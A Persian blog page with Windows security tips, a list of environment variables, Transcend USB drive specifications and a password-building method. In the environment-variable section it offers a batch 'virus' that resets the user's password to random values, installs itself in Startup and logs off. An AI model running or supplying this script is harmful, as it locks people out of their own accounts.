توصیه های امنیتی ویندوزی بر اساس تجربه

برنامه های آنتی ویروس و امنیتی را در مسیر پیش فرض نصب نکنید

بعضی از ویروسها با پیدا کردن مسیر نصب آنتی ویروس فایلهای نرم افزار ضد ویروس را خراب کرده یا خود را به جای آنها کپی می کنند مثلا در هنگام نصب آنتی ویروس نود32 مسیر نصب چنین است

H:\Program Files\ESET\ESET Smart Security

  H درایو نصب ویندوز است و با کلیک بر Browse… می توانید مسیر نصب برنامه را تغییر دهید مثلا

H:\Program Files\mynd\ndsmrt

به جای اعتماد زیاد به آنتی ویروسها سعی کنید اطلاعات خود را افزایش دهید(آنتی ویروس هم فقط یک برنامه است)

به جای استفاده از Outlook و IE مایکروسافت از نرم افزارهای دیگری استفاده کنید

نرم افزار Outlook به دلیل گستردگی استفاده ، و ارائه شدن به صورت توکار در ویندوز و شاید هم پایین بودن امنیتش می تواند کمکی نسبتا بزرگ برای پخش شدن کرمها کند

به نظر من تنها دلیل استفاده از اینترنت اکسپلورر ارائه شدن آن در ویندوز است از مرورگرهای دیگری استفاده کنید یا حداقل نسخه جدیدتری نسبت به 6 IE را نصب و استفاده کنید

نرم افزار پیشنهادی به جای Outlook نرم افزار متن باز Thunderbird است (یا که Outlook Express)

نرم افزار پیشنهادی به جای اینترنت اکسپلورر هر مرورگری جز خودش است مثلا فایرفاکس ، اپرا ، کروم ، سافاری

دسترسی به اطلاعات مهم خود را به حالت فقط خواندن تغییر دهید

بعضی از ویروسها ممکن است بخواهند به اطلاعات شما نیز صدمه وارد کنند مثلا خود را به فایلهای شما بچسبانند یا اطلاعات شما را کد کنند و برای باز کردن کد از شما درخواست پرداخت مبلغی را داشته باشند بهتر است اگر یک مجموعه اطلاعات دارید خصوصیات آنها را طوری تغییر دهید تا در برابر تغییرات ناخواسته ایمن شوند (مثلا من یک مجموعه 80 گیگابایتی از فایلهای mp3 را در یکی از درایوهای هارد نگهداری می کنم و نمی خواهم روزی پاک یا خراب یا کد شوند)

1-فرمت درایو باید ntfs باشد 2-گزینه  use simple file sharing از قسمت folder options در حالت انتخاب نباشد

بر روی مسیر مورد نظر راست کلیک کرده و گزینه properties را انتخاب کنید و به تب security بروید

بعد از کلیک بر عبارت add در کادر باز شده عبارت Everyone را تایپ کرده  در قسمت permissions for everyone  بر write در ستون deny کلیک کنید و ok

یا که از نرم افزارهایی که برای محافظت از فایلها نوشته شده اند استفاده کنید(ولی این نرم افزارها فقط در ویندوزی که بر روی آن نصب شده اند از فایلهای شما حفاظت می کنند)

چه فایلهایی می توانند خطرناک باشند

هنگام تبادل فایلهایی با پسوندهای از سایتها ، ایمیل ، چت احتیاط کنید(موارد پر رنگ با احتمال بیشتری خطرناک هستند و علامت سوال به معنی کاراکتری نامعلوم است)

386 و ACM و ACV و ADT و AX و BATو BBIN و BTM و CLA و CMD و COM و CPL و CSC و CSH و DLL و DOC و DOT و DRV و EXE و HLP و HTA و INF و INI و JS و JSE و JTD و MDB و MP? و MSO و OBD و OBT و OCX و OV? و PIF و PL و PM و POT و PPS و PPT و SCR و SH و SHB و SHS و SMM و SYS و BE وVBS و VSD و VSS و VST و VXD و WSF و WSH و XL?

اگر از نرم افزارهای اشتراک گذاری فایل استفاده می کنید

اگر از نرم افزارهای اشتراک گذاری فایل مثل Kazaa یا Edonkey 2000 یا emule یا Gnucleus یا Limewire و… استفاده می کنید احتیاط زیادی داشته باشید و همچنین همیشه پوشه ی اشتراکی خود را مورد بررسی قرار دهید و اگر فایلی در آن پیدا کردید که شما به اشتراک نگذاشته بودید احتمالا سیستم شما کرمی از نوع p2p گرفته است

آدرس پوشه اشتراک گذاشته شده در این نرم افزارها

<Program Files>\Kazaa Lite\My Shared Folder
<Program Files>\Kazaa\My Shared Folder
<Program Files>\Edonkey2000\Incoming
<Program Files>\emule\incoming
<Program Files>\Gnucleus\Downloads\Incoming
<Program Files>\Limewire\Shared

رمزهای عبور خود را بی قانون انتخاب کنید

مطمئن باشید اگر کسی بخواهد رمز عبور شما را حدس بزند اولین ها موارد زیر خواهد بود

123456

qwerty

تاریخ تولد شما

شماره تلفن شما یا دوستتان یا محل کار شما و…

اطلاعات بیشتر در ایجاد پسوردهای امن که به آسانی خاطر می مانند

غیرفعال کردن اتوران سی دی ، فلش مموری و غیره

اتوران برای اجرای خودکار برنامه های نصب و نرم افزارهای دیگر هنگام قرار دادن سی دی یا حافظه فلش به کار می رود ولی ویروس ها و کرم ها از این قابلیت برای بیشتر پخش شدن خود سواستفاده می کننند

برنامه نت پد را باز کرده و عبارت زیر را در ان کپی کنید

REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf] @="@SYS:DoesNotExist"

و آن را با پسوند reg ذخیره کنید مثلا NOauto.reg و سپس آن را اجر کنید تا تغییرات در رجیستری ثبت شود و سپس ریستارت

اطلاعات بیشتر در راهی ساده برای ویروسی نشدن از طریق فلش مموری

اگر به مخرب بودن فایلی شک کردید

اگر به مخرب بودن فایلی شک کردید ولی آنتی ویروس شما چیز مشکوکی پیدا نمی کند از سرویسهای آنلاین اسکن فایل استفاده کنید تا فایل شما رو با چندین آنتی ویروس آپدیت شده اسکن کنند مثلا سایت virustotal.com با ارسال فایل به این سرویسها اگر ویروس جدید بوده و هنوز در پایگاه داده آنتی ویروسها قرار نگرفته باشد توسط شرکتهای مختلف آنتی ویروس مورد مطالعه قرار گرفته و احتمال شناخته شدن سریع آن را فراهم می کند(خیلی خوب برای ویروسهای بومی!!)

نکته ای مهم در مورد این سرویسها این است که قبل از ارسال فایل آن را در صورت امکان از حالت پک بودن یا فشرده بودن به حالت پسورد خارج سازید

اطلاعات بیشتر در امنیت کامل با 32 تا آنتی ویروس

پسوند فایلها را به نمایش در آورید

فکر می کنم مخفی کردن پسوند فایلها در ویندوز یکی از اشتباهات بزرگ مایکروسافت بوده است و به این وسیله خیلی از کاربران فایلهای ویروسی را به عنوان عکس و فایلهای دیگر تصور کردند

به Folder options رفته و در تب view گزینه Hide extensions for know file types را از حالت انتخاب خارج کنید

با این تنظیمات پسوند هر فایل آخرین حروف(معمولا سه حرف اخر که بعد از نقطه می آیند)است

مثلا فایلی با نام mypic.jpg.exe یک فایل exe است ولی اگر تنظیمات بالا را انجام ندهید فایل به صورت mypic.jpg دیده خواهد شد

در کافی نتها و کامپیوترهای اشتراکی

هیچگاه به سیستم های کافی نتها، کتابخانه ها ، دانشگاه ها و… اعتماد نکنید و پسوردهایی که اگر از دست بروند برایتان بد می شود را وارد نکنید چرا که پسوردها و اطلاعات شما ساده تر از آنکه فکر می کنید قابل دستیابی خواهند بود(حالا من گفتم)

سعی کنید فرق بین تبلیغات و مطالب را بفهمید

باور کنید خیلی از کاربران این تفاوت را درک نمی کنند

 

هر چند توصیه های زیادی هنوز مونده ولی …توصیه آخر

هیچگاه به پسوردی که در محصولات مایکروسافت برای حفاظت یا دسترسی شخصی می گذارید اعتماد نکنید(شاید به دلیل امنیت پایین یا گستردگی زیاد محصولات مایکروسافت)

متغيرهاي تعريف شده در ويندوز + كاربرد

در ويندوز تعدادي متغير به طور پيش فرض تعريف شده كه اطلاعات مفيدي را دارد به عنوان مثال نام كاربرفعال.

هر كدام از اين متغيرها را در RUN يا CMD يا اسكريپتهاي BAT مي توان به كار برد

 

%ALLUSERSPROFILE%	پروفايل همه كاربران
%APPDATA%	مسير فايلهاي تنظيمات برنامه ها
%COMPUTERNAME%	نام كامپيوتر
%DATE%	تاريخ جاري را بازگشت مي دهد
%HOMEDRIVE%	مسير كاربر فعال با نام درايو
%HOMEPATH%	مسير كاربر فعال بدون نام درايو
%NUMBER_OF_PROCESSORS%	تعداد پردازشگرهاي سيستم
%OS%	نام سيستم عامل
%PATH%	مسيري كه هنگام اجرا كردن دستوري در RUN  به دنبال فايلهاي اجرايي مي گردد
%PROCESSOR_ARCHITECTURE%	پردازنده نصب شده
%RANDOM%	عددي اتفاقي صحيح بين صفر و 32767
%SYSTEMDRIVE%	درايويي كه ويندوز در آن نصب شده است
%SYSTEMROOT%	مسير نصب ويندوز
%TEMP% و %TMP%	محل فايلهاي موقتي
%TIME%	زمان جاري
%USERDOMAIN%	دامين كاربر
%USERNAME%	نام كاربر فعال
%USERPROFILE%	پروفايل كاربر فعال
%WINDIR%	مسير نصب ويندوز

كاربرد اول:

فرض كنيد با برنامه WINRAR يك نصب كننده كوچك ساخته ايد و مي خواهيد مسير پيش فرض آن پوشه ويندوز باشد ولي WINRAR چنين مسيري را در برنامه خود پشتيباني نمي كند ولي با دانستن مطلب بالا كافي است عبارت %WINDIR% را در قسمت PATH TO EXTRACT بنويسيد

كاربرد دوم:

مي خواهيد فايلهاي موقتي ويندوز را پاك كنيد تا هم فضاي بيشتري به دست آوريد و هم ردپايي از شما بر جا نماند

از منوي استارت گزينه run را انتخاب كرده و در آن عبارت %TEMP% و يا  %TMP% را نوشته و بعد از اوكي همه فايلها و فولدرهاي پنجره باز شده را پاك كنيد.

 

كاربرد سوم:

يك ويروس كوچك اما خطرناك;متن زير را  در برنامه نت پد كپي كنيد و آن را با نام دلخواه و پسوند bat ذخيره كنيد مثلا hello.bat بعد آن را باز كنيد تا نتيجه را ببينيدو هيچگاه فراموش نكنيد. هر چند با تغييرات كوچك در اين ويروس آن را مي توان خيلي خطرناكتر كرد ولي از اين كار بي خيال شدم

 

net user %username% %random%%random%%random%%random%%random%%random%%random% echo net user %%username%% %%random%%%%random%%%%random%%%%random%%%%random%%%%random%%%%random%% > "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\egza-virus%random%.bat" logoff

 

اطلاعات بيشتر در مورد متغيرهاي تعريف شده در ويندوز را در كمك ويندوز با نوشتن عبارت Command shell overview به دست آوريد

transcend usb flash drive speed comparison

Model	JetFlash 220
Size	70.0mm x 20.5mm x 11.0mm
Weight	13 g
Speed	Read: 10 MB/sec Write: 3 MB/sec
Certificates	FCC, CE, BSMI
Capacity	from 2 to 8 GB

Features:

• Fingerprint Recognition Technology
• AES256 encryption technology
• Driverless 2000/XP/Vista
• epartition Tool: Adjust the size of the Private and Public partition areas for storing data
• LED indicates data transfer activity

—————————————————————

Model	JetFlash 185
Size	49.5mm x 15.8mm x 7.4mm
Weight	15 g
Speed	Read: 12 to 16 MB/sec Write: 9 to 12 MB/sec for Model 4 GB Read: 30 MB/sec Write: 25 MB/sec for Model 8 GB
Certificates	CE, FCC, BSMI
Capacity	from 1 to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high
• nice design

————————————————————–

Model	JetFlash 168
Size	61mm X 18.6mm X 9.8mm
Weight	10 g
Speed	Read: 16 MB/sec Write: 12  MB/sec for Model 1 to 4 GB Read: 30 MB/sec Write: 25 MB/sec for Model 8 to 16 GB
Certificates	CE, FCC, BSMI
Capacity	from 1 to 16 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash 160
Size	61mm X 18.6mm X 9.8mm
Weight	10 g
Speed	Read: 16 MB/sec Write: 12  MB/sec for Model 512 MB to 4 GB Read: 30 MB/sec Write: 25 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from 512 MB to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash 110
Size	64mm x 21mm x 10mm
Weight	11 g
Speed	Read: 16 MB/sec Write: 12  MB/sec for 4 GB and less Read: 30 MB/sec Write: 25 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  1 to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash 2A
Size	75mm x 25mm x 11mm for 1 to 8 GB 88mm x 33mm x 15mm for 16 GB
Weight	15g for1GB-8GB 24g for 16GB
Speed	Read: 16 MB/sec Write: 12  MB/sec for 1 to 4 GB Read: 30 MB/sec Write: 25 MB/sec for Model 8 to 16  GB
Certificates	CE, FCC, BSMI
Capacity	from  1 to 16 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V95
Size	40.6mm X 18.4mm X 7.2mm
Weight	14 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB Read: 20 MB/sec write: 8 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  4 to 8 GB

Features:

• PC lock Software
• Driverless

————————————————————–

Model	JetFlash V90P
Size	33.8mm x 13.1mm x 4.8mm
Weight	8 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 2 GB Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  2 to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V90C
Size	40.6mm X 18.4mm X 7.2mm
Weight	7 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  2 to 8 GB

Features:

• PC lock Software
• Driverless
• red dot design award 2008

————————————————————–

Model	JetFlash V85
Size	49.5mm x 15.8mm x 7.4mm
Weight	15 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB Read: 14 MB/sec Write: 8 MB/sec for Model 16  GB
Certificates	CE, FCC, BSMI
Capacity	from  2 to 16 GB

Features:

• PC lock Software
• Driverless

————————————————————–

Model	JetFlash V60
Size	61mm X 18.6mm X 9.8mm
Weight	10 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB Read: 14 MB/sec Write: 8 MB/sec for Model 16  GB Read: 25 MB/sec Write: 12 MB/sec for Model 32 GB
Certificates	CE, FCC, BSMI
Capacity	from  1 to 32 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V35
Size	58.3mm x 17.3mm x 8.8mm
Weight	8 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  1 to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V30
Size	60mm x 16.5mm x 8.1mm
Weight	7 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB Read: 14 MB/sec Write: 8 MB/sec for Model 16  GB
Certificates	CE, FCC, BSMI
Capacity	from  512 MB to 16 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V33
Size	60mm x 16.5mm x 8.1mm
Weight	7 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB Read: 14 MB/sec Write: 8 MB/sec for Model 16  GB
Certificates	CE, FCC, BSMI
Capacity	from  1 to 16 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V20
Size	75mm x 25mm x 11mm for كمتر from 16 GB 88mm x 33 mm x 15 mm for 32 و 64 GB
Weight	15 g for 16 GB and less 24 g for 32 GB and more
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB Read: 25 MB/sec Write: 12 MB/sec for Model 16  GB and more
Certificates	CE, FCC, BSMI
Capacity	from  1 to 64 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash V10
Size	64mm x 21mm x 10mm
Weight	11 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB Read: 25 MB/sec Write: 12 MB/sec for Model 16  GB
Certificates	CE, FCC, BSMI
Capacity	from  1 to 16 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash T5
Size	30.3mm x 12.3mm x 2.4mm
Weight	2 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  2 to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Model	JetFlash T3
Size	30.3mm x 12.3mm x 2.4mm
Weight	2 g
Speed	Read: 10 MB/sec Write: 3 MB/sec for 4 GB and less Read: 20 MB/sec Write: 8 MB/sec for Model 8  GB
Certificates	CE, FCC, BSMI
Capacity	from  2 to 8 GB

Features:

• PC lock Software
• Driverless
• Speed high

————————————————————–

Speed categories

1- Speed write 3 MB Per Second Speed read 10 MB Per Second

2-Speed write 8 MB Per Second , Speed read 14 MB Per Second

3-Speed write 8 MB Per Second , Speed read 20 MB Per Second

4-Speed write 12 MB Per Second , Speed read 16 MB Per Second

5-Speed write 12 MB Per Second , Speed read 25 MB Per Second

6-Speed write 25 MB Per Second , Speed read 30 MB Per Second

————————————————————–

prices

to find this flash memory price just go to gooogle products and search for the name like Jetflash 2A 16GB

————————————————————-

All transcend usb flash drives are optimized for jetflash elite and work with windows vista and enhanced for readboost technology

All transcend usb flash drives have lifetime warranty except jetflash 210/220

ایجاد پسوردهای امن که به آسانی خاطر می مانند

همانطور که می دونید انتخاب کلمات عبور ساده باعث به خطر افتادن امنیت حساب های کاربری و اکانت ها می شود و امکان حدس زدن اونو توسط دیگران زیاده ولی کلمات عبور امن به سختي به حافظه فرو می روند و زود از ياد مي روند
در اینجا می خواهم  روشي برای انتخاب رمز پیشنهاد بدم که خیالتون از همه بابت راحت بشه
ویژگی یک رمز خوب اینه که از حروف کوچک و بزرگ و اعداد و نمادهای ویژه درست شده باشه و طول مناسبی هم داشته باشد مثلا

Wr12@s2&GV18hb
حالا روشي رو مي خواهم برتون بگم كه با اون مي تونيد رمزهاي عبور سخت رو به آسوني ايجاد كنيد

1-  ابتدا باید یک یا دوکلمه رو که به سادگی می توانید به یاد داشته باشید را انتخاب کنید مثلا اسم خودتون یا اسم بهترین دوستتون مثلا MOMENI  HASAN

2- حروف  B ,I ,O ,S را با اعداد 8 , 1 ,0, 5  عوض کنید
با انجام اين مرحله رمز شما خواهد شد HA5AN M0MEN1

3- فاصله ها را با کاراکتری مثل & یا % یا + پر کنید
با انجام اين مرحله رمز شما خواهد شد HA5AN%M0MEN1

4- حروف صدا دار باقيمانده( A,E,U ) را به صورت كوچك بنویسید و باقي حروف به صورت بزرگ

با انجام اين مراحل رمز نهايي شما خواهد شد Ha5aN%M0MeN1

يادم نيست اين روش رو از كجا يادگرفتم (يعني منبع نداره)

آپديت: با تشكر از تذكر دوستان اين از نتايج پست دادن در شب امتحانه